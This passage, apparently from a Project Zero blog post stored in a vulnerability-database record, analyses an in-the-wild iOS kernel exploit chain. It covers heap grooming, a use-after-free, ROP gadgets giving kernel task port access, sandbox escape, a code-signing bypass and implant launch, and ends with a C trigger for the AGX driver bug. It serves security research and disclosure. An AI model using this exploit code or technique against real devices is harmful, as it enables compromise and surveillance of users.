(hopefully landing in one of the gaps) then the bug will cause an IOAccelResource pointer to be written one element off the end of that buffer, corrupting the first qword value of the following recv_msg_elem array: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigDNfr58_KItRPiv8vsolQZ6almP0Z86eHVUUOdGdQQKV8-j_uxnIUW6vRXsoNKNc22Y9V0-oFuLh4r7J0ObdfTh03rXYg6NpOtWD0LqeaoP7KUayy8bxeo_9Eo6-oUX_zCxLtA3b58TOVuCJGd0ygvtCuxMnuImidizpw8nVtvZO5fS2VQWfCE6lt/s2048/agx%20recvmsg_x%20heapgroom%203%20-%20overflow%20-%20HI_RES.png>)\n\nIf the heap groom worked this will have corrupted one of the uio pointers, overwriting it with a pointer to an IOAccelResource. \n \n\n\nThey then call external method 1 on the AGXSharedUserClient (delete_resource) which will free the IOAccelResource. This means that one of those uio pointers now points to a free'd IOAccelResource \n \n\n\nThen they use the IOSurface properties technique to allocate many 0x190 byte OSData objects in the kernel with the following layout: \n \n\n\nu32 +0x28 = 0x190;\n\nu32 +0x30 = 2;\n\n \nHere's the code where they build that: \n \n \n\n\nchar buf[0x190];\n\nchar key[100];\n\n \n\n\nmemset(buf, 0, 0x190uLL);\n\n*(uint32_t*)&buf[0x28] = 0x190;\n\n*(uint32_t*)&buf[0x30] = 2;\n\nid arr = [[NSMutableArray alloc] initWithCapacity: 100];\n\nid data = [NSData dataWithBytes:buf length:100];\n\nint cnt = 2 * (system_page_size / 0x200);\n\nfor (int = 0; i < cnt; i++) {\n\n[arr addObject: data];\n\n}\n\n \n\n\nmemset(key, 0, 100;);\n\nsprintf(key, 0, 100, \"large_%d\", replacement_attempt_cnt);\n\n \n\n\nreturn wrap_iosurfaceroot_set_value(key, val);\n\n \nThey are trying to reallocate the free'd memory with an OSData object. Overlaying those offsets against a struct uio you see that +0x28 is the uio_size field, and +0x30 the flags field. 2 is the following UIO flag value: \n \n \n\n\n#define UIO_FLAGS_WE_ALLOCED 0x00000002\n\n \nSo they've replaced the dangling UIO with... a completely valid, if empty, UIO? \n\n\n \n\n\nThey're now in a situation where there are two pointers to the same allocation; both of which they can manipulate: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrrY3PuDYdn73mju7hwEr98mPZ_nPFnxYILaWOqKcCgO_fU4DTdpEcC6iDxRM8TIHtng5pprqhQsf1ymwFRzlSqhbzSLOdV6DvWUJ-X74JvfErWN_3miRNBJElCGOe-mfpOovzfoJcC9XnD339iZRjhqDtV8cblMMTgGs3rkVBXqoAK1Iu96fDpC8W/s2048/agx%20recvmsg_x%20heapgroom%204%20-%20HI_RES.png>)\n\nThey then loop through each of the threads which are blocked on the recvmsg_x call and close both ends of the socketpair. This will cause the destruction of all the uios in the recv_msg_elems arrays. If this particular thread was the one which allocated the recv_msg_elems array which got corrupted by the heap overflow, then closing these sockets will cause the uio to be freed. Remember that they've now reallocated this memory to be the backing buffer for an OSData object. Here's uio_free: \n \n\n\nvoid uio_free(uio_t a_uio) \n\n{\n\nif (a_uio != NULL && (a_uio->uio_flags & UIO_FLAGS_WE_ALLOCED) != 0) {\n\nkfree(a_uio, a_uio->uio_size);\n\n}\n\n}\n\n \nThis fake uio allocation is pointed to by two pointers at this point; the uio and the OSData. By freeing the uio, they're leaving the OSData object with a dangling backing buffer pointer. It seems that the use of the threads and domain sockets was just a way of creating a heap allocation which had another heap allocation as the first pointer; the freeing of which they could control. It's certainly a novel technique but seems very fragile. \n \n\n\nImmediately after freeing the uio (leaving the OSData object with the dangling pointer) they allocate 2 pages worth of IOSurfaceRootUserClients; hoping that one of them will overlap with the OSData backing buffer (the IOSurfaceRootUserClient will also be allocated from the same kalloc.512 zone.) They then read the contents of all the OSData objects (via IOSurfaceCopyProperty as mentioned earlier) and search for the 32-bit value 0x00020002, which is an OSObject reference count. If it's found then the replacement worked and they now have the contents of the IOSurfaceRootUserClient object inside the OSData backing buffer:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhukd1KRy1kV-YEEJst45933sbYVGHFo9KPvxPwokwgEOpnAMxicLBJlDR7rA0eVwD_o3t0oETmbnIlNhP3ACcorpkYiwsUaSA6X7P0DufFSaGu70FF6A5LjL8aBxPiEv7MNIyIGdSHWVdhfT8rJPGux92mvQfzRB8HIpKki1GFyiSHJ_MoSgFPEIhQ/s2557/agx%20recvmsg_x%20heapgroom%205%20-%20HI_RES.png>)\n\nThey read the vtable pointer from the IOSurfaceRootUserClient object which they use to determine the KASLR slide by subtracting the unslide value of the vtable pointer (which they get from the offsets dictionary object.) \n \n\n\nThey read two fields from the IOSurfaceRootUserClient: \n \n\n\n+0xf0 = a pointer to their task struct, set in IOSurfaceRootUserClient::init\n\n+0x118 = pointer to this+0x110; they subtract 0x110 to get the address of the userclient \n \n\n\nThey make a complete copy of the IOSurfaceRootUserClient and modify two fields. They set the reference count to 0x80008 and they set the pointer at offset +0xe0 to point exactly 0xBC bytes below the kernel_task pointer in the kernel data segment.\n\n### The kernel task port\n\nIn XNU the kernel is just another task, so like all other tasks it has a task port. A task port is mach port which, if you have a send right to it, allows complete control over the task. Back in iOS 10 before 10.3, there were no mitigations against using the kernel task port from userspace which made it a very attractive target for exploitation. If you could corrupt memory such that you gained a send right to this port, you got arbitrary kernel memory read and write, by design. \n \n\n\nThat's what they're going to try to do now. \n \n\n\nThey free the OSData replacer, and try to reallocate it again (using the key \"huge\") with the modified IOSurfaceRootUserClient inside more OSData objects. \n \n\n\nThey then loop through the IOSurfaceRootUserClient connection ports calling external method 13 (get_limits.) \n \n\n\nHere's the relevant assembly from the implementation of get_limits. At this point the X0 register is the IOSurfaceRootUserClient, and X2 is an IOExternalMethodArguments*, which contains the arguments to the external method: \n \n\n\nLDR X8, [X2,#0x58] ; struct output buffer\n\nLDR X9, [X0,#0xE0] ; should be IOSurfaceRoot, now arbitrary\n\nLDUR X10, [X9,#0xBC]; controlled read at address val+0xBC\n\nSTR X10, [X8] ; write that value to struct output buffer\n\n...\n\nRET\n\n \nSince the attackers have replaced the field at +0xE0 with a pointer to 0xBC bytes below the kernel_task pointer in the kernel data segment, the first 8 bytes of the structure output buffer when get_limits is called on the modified user client will contain the address of the kernel task struct! \n\n\n \n\n\nThey verify that those eight bytes do indeed look like a kernel pointer; then prepare for the final replacement. This time they replace 10 fields in the IOSurfaceRootUserClient: \n \n\n\nOSData_kaddr is the kernel virtual address of the fake user client object (and the OSData object it's actually inside.) \n \n\n\nuserclient_copy[0x120] = OSData_kaddr + 0x1F8;\n\nuserclient_copy[0x128] = 1;\n\nuserclient_copy[0x1F8] = OSData_kaddr + 0x1B0;\n\nuserclient_copy[0x1F0] = OSData_kaddr + 0x1A0;\n\nuserclient_copy[0x1A0] = OSData_kaddr;\n\nuserclient_copy[0x1E8] = kernel_runtime_base + offsets_9;\n\nuserclient_copy[0xA8] = kernel_runtime_base + offsets_10;\n\nuserclient_copy[0x1E0] = kernel_task + 0x90;\n\nuserclient_copy[0x1B8] = our_task_t + 0x2C0;\n\nuserclient_copy[0x1C0] = kernel_runtime_base + offsets_11;\n\n \noffsets 9, 10 and 11 are read from the deserialized NSArchiver. \n\n\n \n\n\nThey use the iosurface property replacement trick for the last time; this time using the key \"again\". They then call external method 16 (get_surface_use_count) on the dangling IOSurfaceRooUserClient connection. \n \n\n\nWhat's happening here? Let's follow execution flow from the start of the external method itself. At this point X0 will point to their modified IOSurfaceRootUserClient object seen above: \n \n\n\nIOSurfaceRootUserClient::get_surface_use_count:\n\nSTP X22, X21, [SP,#-0x10+var_20]!\n\nSTP X20, X19, [SP,#0x20+var_10]\n\nSTP X29, X30, [SP,#0x20+var_s0]\n\nADD X29, SP, #0x20\n\nMOV X20, X2\n\nMOV X22, X1\n\nMOV X19, X0\n\nMOV W21, #0xE00002C2\n\nLDR X0, [X19,#0xD8]\n\nBL j__lck_mtx_lock_11\n\nLDR W8, [X19,#0x128] ; they set to 1\n\nCMP W8, W22 ; w22 == 0?\n\nB.LS loc_FFFFFFF0064BFD94 ; not taken\n\nLDR X8, [X19,#0x120] ; x8 := &this+0x1f8\n\nLDR X0, [X8,W22,UXTW#3] ; x0 := &this+0x1b0\n\nCBZ X0, loc_FFFFFFF0064BFD94 ; not taken\n\nBL sub_FFFFFFF0064BA758\n\n \nExecution continues here: \n** \n** \n\n\nsub_FFFFFFF0064BA758\n\nLDR X0, [X0,#0x40] ; X0 := *this+0x1f0 = &this+0x1a0\n\nLDR X8, [X0] ; X8 := this\n\nLDR X1, [X8,#0x1E8] ; X1 := kernel_base + offsets_9\n\nBR X1 ; jump to offsets_9 gadget\n\n \nThey'll get arbitrary kernel PC control initially at offsets_9; which is the following gadget: \n \n \n\n\nLDR X2, [X8,#0xA8] ; X2 := kernel_base + offsets_10\n\nLDR X1, [X0,#0x40] ; X1 := *(this+0x1e0)\n\n; The value at that address is a pointer\n\n; to 0x58 bytes below the kernel task port\n\n; pointer inside the kernel task structure\n\nBR X2 ; jump to offsets_10 gadget\n\n \nThis loads a new, controlled value in to X1 then jumps to offsets_10 gadget: \n\n\nThis is OSSerializer::serialize: \n \n\n\nMOV X8, X1 ; address of pointer to kernel_task_port-0x58\n\nLDP X1, X3, [X0,#0x18] ; X1 := *(this+0x1b8) == &task->itk_seatbelt\n\n; X3 := *(this+0x1c0) == kbase + offsets_11\n\nLDR X9, [X0,#0x10] ; ignored\n\nMOV X0, X9\n\nMOV X2, X8 ; address of pointer to kernel_task_port-0x58\n\nBR X3 ; jump to offsets_11 gadget\n\n \noffsets_11 is then a pointer to this gadget: \n \n \n\n\nLDR X8, [X8,#0x58] ; X8:= kernel_task_port\n\n; that's an arbitrary read\n\nMOV W0, #0\n\nSTR X8, [X1] ; task->itk_seatbelt := kernel_task_port\n\n; that's the arbitrary write\n\nRET ; all done!\n\n \nThis gadget reads the value at the address stored in X8 plus 0x58, and writes that to the address stored in X1. The previous gadgets gave complete control of those two registers, meaning this gadget is giving them the ability to read a value from an arbitrary address and then write that value to an arbitrary address. The address they chose to read from is a pointer to the kernel task port, and the address they chose to write to points into the current task's special ports array. This read and write has the effect of giving the current task the ability to get a send right to the real kernel task port by calling: \n \n \n\n\ntask_get_special_port(mach_task_self(), TASK_SEATBELT_PORT, &tfp0);\n\n \nThat's exactly what they do next, and that tfp0 mach port is a send right to the real kernel task port, allowing arbitrary kernel memory read/write via task port MIG methods like mach_vm_read and mach_vm_write. \n\n\n### What to do with a kernel task port?\n\nThey use the allprocs offset to get the head of the linked list of running processes then iterate through the list looking for two processes by PID: \n \n\n\nvoid PE1_unsandbox() {\n\nchar struct_proc[512] = {0};\n\n \n\n\nif (offset_allproc)\n\n{\n\nuint64_t launchd_ucred = 0;\n\nuint64_t our_struct_proc = 0;\n\n \n\n\nuint64_t allproc = kernel_runtime_base + offset_allproc;\n\nuint64_t proc = kread64(allproc);\n\n \n\n\ndo {\n\nkread_overwrite(proc, struct_proc, 0x48);\n\n \n\n\nuint32_t pid = *(uint32_t*)(struct_proc + 0x10);\n\n \n\n\nif (pid == 1) { // launchd has pid 1\n\nlaunchd_ucred = *(_QWORD *)&struct_proc[0x100];\n\n}\n\n \n\n\nif ( getpid() == pid ) {\n\nour_struct_proc = proc;\n\n}\n\n \n\n\nif (our_struct_proc && launchd_ucred) {\n\nbreak;\n\n}\n\n \n\n\nproc = *(uint64_t*)(struct_proc+0x0);\n\nif (!proc) {\n\nbreak;\n\n}\n\n} while (proc != allproc && pid);\n\n \n\n\n// unsandbox themselves\n\nkwrite64(our_struct_proc + 0x100, launchd_ucred);\n\n}\n\n}\n\n \nThey're looking for the proc structures for launchd and the current task (which is WebContent, running in the Safari renderer sandbox.) From the proc structure they read the pid as well as the ucred pointer. \n\n\n \n\n\nAs well as containing the POSIX credentials (which define the uid, gid and so on) the ucred also contains a pointer to a MAC label, which is used to define the sandbox which is applied to a process. \n \n\n\nUsing the kernel memory write they replace the current tasks's ucreds pointer with launchd's. This has the effect of unsandboxing the current process; giving it the same access to the system as launchd. \n \n\n\nThere are two more hurdles to overcome before they're able to launch their implant: the platform policy and code-signing.\n\n### Platform policy\n\nEvery process on iOS restricted by the platform policy sandbox profile; it enforces an extra layer of \"system wide\" sandboxing. The platform policy bytecode itself lies in the __const region of the com.apple.security.sandbox.kext and is thus protected by [KPP](<https://xerub.github.io/ios/kpp/2017/04/13/tick-tock.html>) or [KTRR](<https://siguza.github.io/KTRR/>). However, the pointer to the platform policy bytecode resides in a structure allocated via IOMalloc, and is thus in writable memory. The attackers make a complete copy of the platform policy bytecode and replace the pointer in the heap-allocated structure with a pointer to the copy. In the copy they patch out the process-exec and process-exec-interpreter hooks; here's a diff of the decompiled policies (generated with [sandblaster](<https://github.com/malus-security/sandblaster>)): \n \n\n\n(require-not (global-name \"com.apple.PowerManagement.control\"))\n\n(require-not (global-name \"com.apple.FileCoordination\"))\n\n(require-not (global-name \"com.apple.FSEvents\"))))\n\n\\- (deny process-exec*\n\n\\- (require-all\n\n\\- (require-all\n\n(require-not \n\n(subpath \"/private/var/run/com.apple.xpcproxy.RoleAccount.staging\"))\n\n\\- (require-not (literal \"/private/var/factory_mount/\"))\n\n\\- (require-not (subpath \"/private/var/containers/Bundle\"))\n\n\\- (require-not (literal \"/private/var/personalized_automation/\"))\n\n\\- (require-not (literal \"/private/var/personalized_factory/\"))\n\n\\- (require-not (literal \"/private/var/personalized_demo/\"))\n\n\\- (require-not (literal \"/private/var/personalized_debug/\"))\n\n\\- (require-not (literal \"/Developer/\")))\n\n\\- (subpath \"/private/var\")\n\n\\- (require-not (debug-mode))))\n\n\\- (deny process-exec-interpreter\n\n\\- (require-all\n\n\\- (require-not (debug-mode))\n\n\\- (require-all (require-not (literal \"/bin/sh\"))\n\n\\- (require-not (literal \"/bin/bash\"))\n\n\\- (require-not (literal \"/usr/bin/perl\"))\n\n\\- (require-not (literal \"/usr/local/bin/scripter\"))\n\n\\- (require-not (literal \"/usr/local/bin/luatrace\"))\n\n\\- (require-not (literal \"/usr/sbin/dtrace\")))))\n\n(deny system-kext-query\n\n(require-not (require-entitlement \"com.apple.private.kernel.get-kext-info\")))\n\n(deny system-privilege\n\n \nAs the platform policy changes over time their platform policy bytecode patches become more elaborate but the fundamental idea remains the same. \n\n\n### Code signing bypass\n\nJailbreaks typically bypass iOS's mandatory code signing by making changes to amfid (Apple Mobile File Integrity Daemon) which is a userspace daemon responsible for verifying code signatures. [An example of an early form of such a change](<https://conference.hitb.org/hitbsecconf2013ams/materials/D2T1%20-%20Pod2g,%20Planetbeing,%20Musclenerd%20and%20Pimskeks%20aka%20Evad3rs%20-%20Swiping%20Through%20Modern%20Security%20Features.pdf>) was to modify the amfid GOT such that a function which was called to verify a signature (MISValidateSignature) was replaced with a call to a function which always returned 0; thereby allowing all signatures, even those which were invalid. \n \n\n\nThere's another approach though, which has been used increasingly by recent jailbreaks. The kernel also contains an array of known-trusted hashes. These are hashes of code-signature blobs (also known as CDHashes) which are to be implicitly trusted. This design makes sense because those hashes will be part of the kernel's code signature; thus still tied to Apple's root-of-trust. \n \n\n\nThe weakness, given an attacker with kernel memory read write, is that this trust cache data-structure is mutable. There are occasions when more hashes will be added to it at runtime. It's modified, for example, when the DeveloperDiskImage.dmg is mounted on an iPhone if you do app development. During app development native tools like lldb-server which run on the device have their code-signature blob hashes added to the trust cache. \n \n\n\nSince the attackers only wish to execute their implant binary and not disable code-signing system wide, it suffices to simply add the hash of their implant's code-signing blob to the kernel dynamic trust cache, which they do using the kernel task port.\n\n### Launching implant\n\nThe final stage is to drop and spawn the implant binary. They do this by writing the implant Mach-O to disk under /tmp, then calling posix_spawn to execute it: \n \n\n\nFILE* f = fopen(\"/tmp/updateserver\", \"w+\");\n\nif (f) {\n\nfwrite(buf, 1, buf_size, f);\n\nfclose(f);\n\nchmod(\"/tmp/updateserver\", 0755);\n\npid_t pid = 0;\n\nchar* argv[] = {\"/tmp/updateserver\", NULL};\n\nposix_spawn(&pid,\n\n\"/tmp/updateserver\",\n\nNULL,\n\nNULL,\n\n&argv,\n\nenviron);\n\n} \n \n\n\nThis immediately starts the implant running as root. The implant will remain running until the device is rebooted, communicating every 60 seconds with a command-and-control server asking for instructions for what information to steal from the device. We'll cover the complete functionality of the implant in a later post.\n\n## Appendix A\n\n### Trigger for variant\n\nBy undefining IS_12_B1 you will get the initial trigger.\n\nThe create_shmem selector changed from 6 to 5 in iOS 11. The unpatched variant was still present in iOS 12 beta 1 but no longer reproduces in 12.1.1. It does reproduce on at least 11.1.2, 11.3.1 and 11.4.1. \n \n\n\n#include <stdio.h>\n\n#include <stdlib.h>\n\n#include <string.h>\n\n#include <pthread.h>\n\n \n\n\n#include <mach/mach.h>\n\n#include <CoreFoundation/CoreFoundation.h>\n\n \n\n\n#include \"command_buffers.h\"\n\n \n\n\ntypedef mach_port_t task_port_t;\n\ntypedef mach_port_t io_service_t;\n\ntypedef mach_port_t io_connect_t;\n\n \n\n\nextern\n\nconst mach_port_t kIOMasterPortDefault;\n\n \n\n\nkern_return_t\n\nIOServiceOpen(\n\nio_service_t service,\n\ntask_port_t owningTask,\n\nuint32_t type,\n\nio_connect_t * connect );\n\n \n\n\nCFMutableDictionaryRef\n\nIOServiceMatching(\n\nconst char * name ) CF_RETURNS_RETAINED;\n\n \n\n\nio_service_t\n\nIOServiceGetMatchingService(\n\nmach_port_t masterPort,\n\nCFDictionaryRef matching CF_RELEASES_ARGUMENT);\n\n \n\n\nkern_return_t\n\nIOConnectCallMethod(\n\nmach_port_t connection, // In\n\nuint32_t selector, // In\n\nconst uint64_t *input, // In\n\nuint32_t inputCnt, // In\n\nconst void *inputStruct, // In\n\nsize_t inputStructCnt, // In\n\nuint64_t *output, // Out\n\nuint32_t *outputCnt, // In/Out\n\nvoid *outputStruct, // Out\n\nsize_t *outputStructCnt); // In/Out\n\n \n\n\nkern_return_t\n\nIOConnectCallAsyncMethod(\n\nmach_port_t connection, // In\n\nuint32_t selector, // In\n\nmach_port_t wake_port, // In\n\nuint64_t *reference, // In\n\nuint32_t referenceCnt, // In\n\nconst uint64_t *input, // In\n\nuint32_t inputCnt, // In\n\nconst void *inputStruct, // In\n\nsize_t inputStructCnt, // In\n\nuint64_t *output, // Out\n\nuint32_t *outputCnt, // In/Out\n\nvoid *outputStruct, // Out\n\nsize_t *outputStructCnt); // In/Out\n\n \n\n\ntypedef struct IONotificationPort * IONotificationPortRef;\n\n \n\n\nIONotificationPortRef\n\nIONotificationPortCreate(\n\nmach_port_t masterPort );\n\n \n\n\nmach_port_t\n\nIONotificationPortGetMachPort(\n\nIONotificationPortRef notify );\n\n \n\n\nkern_return_t\n\nIOConnectAddClient(\n\nio_connect_t connect,\n\nio_connect_t client );\n\n \n\n\n \n\n\n \n\n\n#define IS_12_B1 1\n\n \n\n\n#ifdef IS_12_B1\n\n#define AGX_SHARED_CREATE_SHMEM 5\n\n#else\n\n#define AGX_SHARED_CREATE_SHMEM 6\n\n#endif\n\nstruct agx_shared_create_shmem_struct_out {\n\nvoid* base;\n\nuint32_t size;\n\nuint32_t id;\n\n};\n\n \n\n\nstruct submit_command_buffers_struct_input {\n\nuint32_t field_0;\n\nuint32_t field_1;\n\nuint32_t resource_id_0;\n\nuint32_t resource_id_1;\n\nuint64_t field_4;\n\nuint64_t field_5;\n\n};\n\n \n\n\nstruct async_reference {\n\nmach_port_t port;\n\nvoid(*fptr)(void);\n\nuint64_t something;\n\n};\n\n \n\n\nvoid null_sub(void) {return;};\n\n \n\n\nvoid* IOSurfaceCreate(void*);\n\nuint32_t IOSurfaceGetID(void*);\n\n \n\n\nuint32_t allocate_global_iosurface_and_return_id() {\n\nCFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);\n\nint alloc_size_raw_value = 1024;\n\nCFNumberRef alloc_size_cfnum = CFNumberCreate(NULL, kCFNumberSInt32Type, &alloc_size_raw_value);\n\nCFDictionarySetValue(dict, CFSTR(\"IOSurfaceAllocSize\"), alloc_size_cfnum);\n\nCFDictionarySetValue(dict, CFSTR(\"IOSurfaceIsGlobal\"), kCFBooleanTrue);\n\nint pixel_format_raw_value = 0;\n\nCFNumberRef pixel_format_cfnum = CFNumberCreate(NULL, kCFNumberSInt32Type, &pixel_format_raw_value);\n\nCFDictionarySetValue(dict, CFSTR(\"IOSurfacePixelFormat\"), pixel_format_cfnum);\n\nvoid* iosurface = IOSurfaceCreate(dict);\n\nif (iosurface == NULL) {\n\nprintf(\"failed to create IOSurface\\n\");\n\nreturn 0;\n\n}\n\nprintf(\"allocated IOSurface: %p\\n\", iosurface);\n\nuint32_t id = IOSurfaceGetID(iosurface);\n\nprintf(\"id: 0x%x\\n\", id);\n\nreturn id;\n\n}\n\n \n\n\nvoid* racer_thread(void* arg) {\n\nvolatile uint32_t* ptr = arg;\n\nuint32_t orig = *ptr;\n\nprintf(\"racing, original value: %d\\n\", orig);\n\nwhile (1) {\n\n*ptr = 0x40;\n\n*ptr = orig;\n\n}\n\nreturn NULL;\n\n}\n\n \n\n\nvoid do_it(void) {\n\nkern_return_t err;\n\nio_service_t agx_service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(\"IOGraphicsAccelerator2\"));\n\nif (agx_service == MACH_PORT_NULL) {\n\nprintf(\"failed to get service port\\n\");\n\nreturn;\n\n}\n\nprintf(\"got service: %x\\n\", agx_service);\n\nio_connect_t shared_user_client_conn = MACH_PORT_NULL;\n\nerr = IOServiceOpen(agx_service, mach_task_self(), 2, &shared_user_client_conn);\n\nif (err != KERN_SUCCESS) {\n\nprintf(\"open of type 2 failed\\n\");\n\nreturn;\n\n}\n\nprintf(\"got connection: 0x%x\\n\", shared_user_client_conn);\n\n// allocate two shmem's:\n\nuint64_t shmem_size = 0x1000;\n\nstruct agx_shared_create_shmem_struct_out shmem0_desc = {0};\n\nsize_t shmem_result_size = sizeof(shmem0_desc);\n\nerr = IOConnectCallMethod(shared_user_client_conn, AGX_SHARED_CREATE_SHMEM, &shmem_size, 1, NULL, 0, NULL, NULL, &shmem0_desc, &shmem_result_size);\n\nif (err != KERN_SUCCESS) {\n\nprintf(\"external method create_shmem failed: 0x%x\\n\", err);\n\nreturn;\n\n}\n\nprintf(\"create shmem success!\\n\");\n\nprintf(\"base: %p size: 0x%x id: 0x%x\\n\", shmem0_desc.base, shmem0_desc.size, shmem0_desc.id);\n\nmemset(shmem0_desc.base, 0, shmem0_desc.size);\n\nshmem_size = 0x1000;\n\nstruct agx_shared_create_shmem_struct_out shmem1_desc = {0};\n\nerr = IOConnectCallMethod(shared_user_client_conn, AGX_SHARED_CREATE_SHMEM, &shmem_size, 1, NULL, 0, NULL, NULL, &shmem1_desc, &shmem_result_size);\n\nif (err != KERN_SUCCESS) {\n\nprintf(\"external method create_shmem failed: 0x%x\\n\", err);\n\nreturn;\n\n}\n\nprintf(\"create shmem success!\\n\");\n\nprintf(\"base: %p size: 0x%x id: 0x%x\\n\", shmem1_desc.base, shmem1_desc.size, shmem1_desc.id);\n\nIONotificationPortRef notification_port_ref = IONotificationPortCreate(kIOMasterPortDefault);\n\nmach_port_t notification_port_mach_port = IONotificationPortGetMachPort(notification_port_ref);\n\nio_connect_t agx_command_queue_userclient = MACH_PORT_NULL;\n\nerr = IOServiceOpen(agx_service, mach_task_self(), 5, &agx_command_queue_userclient);\n\nif (err != KERN_SUCCESS) {\n\nprintf(\"failed to open type 5\\n\");\n\nreturn;\n\n}\n\nprintf(\"got agx command queue user client: 0x%x\\n\", agx_command_queue_userclient);\n\nerr = IOConnectAddClient(agx_command_queue_userclient, shared_user_client_conn);\n\nif (err != KERN_SUCCESS) {\n\nprintf(\"failed to connect command queue and shared user client: 0x%x\\n\", err);\n\nreturn;\n\n}\n\nprintf(\"connected command queue\\n\");\n\nstruct async_reference async_ref = {0};\n\nasync_ref.port = notification_port_mach_port;\n\nasync_ref.fptr = null_sub;\n\nerr = IOConnectCallAsyncMethod(agx_command_queue_userclient, 0, notification_port_mach_port, (uint64_t*)&async_ref, 1, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);\n\nif (err != KERN_SUCCESS) {\n\nprintf(\"failed to call async selector 0\\n\");\n\nreturn ;\n\n}\n\nprintf(\"called async selector 0\\n\");\n\n \n\n\nfor (int loop = 0; loop < 20; loop++) {\n\nuint32_t global_surface_id = allocate_global_iosurface_and_return_id();\n\n// create a resource with that:\n\nuint8_t* input_buf = calloc(1, 1024);\n\n*((uint32_t*)(input_buf+0)) = 0x82;\n\n*((uint32_t*)(input_buf+0x18)) = 1;\n\n*((uint32_t*)(input_buf+0x30)) = global_surface_id;\n\n \n\n\nuint8_t* output_buf = calloc(1, 1024);\n\nsize_t output_buffer_size = 1024;\n\nerr = IOConnectCallMethod(shared_user_client_conn, 0, NULL, 0, input_buf, 1024, NULL, 0, output_buf, &output_buffer_size);\n\nif (err != KERN_SUCCESS) {\n\nprintf(\"new_resource failed: 0x%x\\n\", err);\n\nreturn;\n\n}\n\nprintf(\"new_resource success!\\n\");\n\n// try to build the command buffer structure:\n\n#ifdef IS_12_B1\n\nint target_size = 0x200;\n\n#else\n\nint target_size = 0x800;\n\n#endif\n\nint n_entries = target_size / 0x30;\n\nuint8_t* cmd_buf = (uint8_t*)shmem1_desc.base;\n\n*((uint32_t*)(cmd_buf+0x8)) = 1;\n\n*((uint32_t*)(cmd_buf+0x24)) = n_entries; // n_entries??\n\n#ifdef IS_12_B1\n\nif (loop == 0) {\n\npthread_t th;\n\npthread_create(&th, NULL, racer_thread, (cmd_buf+0x24));\n\nusleep(50*1024);\n\n}\n\n#endif\n\n \n\n\nint something = (target_size+8) % 0x30 / 8;\n\n \n\n\n#ifdef IS_12_B1\n\nfor (int i = 0; i < n_entries+20; i++) {\n\n#else\n\nfor (int i = 0; i < n_entries; i++) {\n\n#endif\n\nuint8_t* base = cmd_buf + 0x28 + (i*0x40);\n\nfor (int j = 0; j < 7; j++) {\n\n*((uint32_t*)(base+(j*4))) = 3; // resource_id?\n\n*((uint16_t*)(base+(0x30)+(j*2))) = 1;\n\n}\n\nif (i > something) {\n\n*((uint16_t*)(base+0x3e)) = 6;\n\n} else {\n\n#ifdef IS_12_B1\n\n// this is not the overflow we're targeting here\n\n*((uint16_t*)(base+0x3e)) = 6;\n\n#else\n\n*((uint16_t*)(base+0x3e)) = 7;\n\n#endif\n\n}\n\n}\n\nstruct submit_command_buffers_struct_input cmd_in = {0};\n\ncmd_in.field_1 = 1;\n\ncmd_in.resource_id_0 = shmem0_desc.id; // 1\n\ncmd_in.resource_id_1 = shmem1_desc.id; // 2\n\n// s_submit_command_buffers:\n\nerr = IOConnectCallMethod(agx_command_queue_userclient, 1, NULL, 0, &cmd_in, sizeof(cmd_in), NULL, NULL, NULL, NULL);\n\nprintf(\"s_submit_command_buffers returned: %x\\n\", err);\n\n \n\n\n// delete_resource:\n\nuint64_t three = 3;\n\nerr = IOConnectCallMethod(shared_user_client_conn, 1, &three, 1, NULL, 0, NULL, NULL, NULL, NULL);\n\nprintf(\"delete_resource returned: %x\\n\", err);\n\n//\n\n}\n\n}\n\n \n\n\nPosted by Tim at [5:05 PM](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html> \"permanent link\" ) [  ](<https://www.blogger.com/post-edit.g?blogID=4838136820032157985&postID=7581230898038555510&from=pencil> \"Edit Post\" )\n\n[Email This](<https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=7581230898038555510&target=email> \"Email This\" )[BlogThis!](<https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=7581230898038555510&target=blog> \"BlogThis!\" )[Share to Twitter](<https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=7581230898038555510&target=twitter> \"Share to Twitter\" )[Share to Facebook](<https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=7581230898038555510&target=facebook> \"Share to Facebook\" )[Share to Pinterest](<https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=7581230898038555510&target=pinterest> \"Share to Pinterest\" )\n\n#### No comments:\n\n#### Post a Comment\n\n[](<https://www.blogger.com/comment/frame/4838136820032157985?po=7581230898038555510&hl=en>)\n *[5:05\u202fPM]: 2019-08-29T17:05:00-07:00\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-08-29T00:00:00", "type": "googleprojectzero", "title": "\nIn-the-wild iOS Exploit Chain 1\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8646"], "modified": "2019-08-29T00:00:00", "id": "GOOGLEPROJECTZERO:63C5590C80947E05972B1E741DE19C77", "href": "https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html", "cvss": {"score": 5.0, "vector": 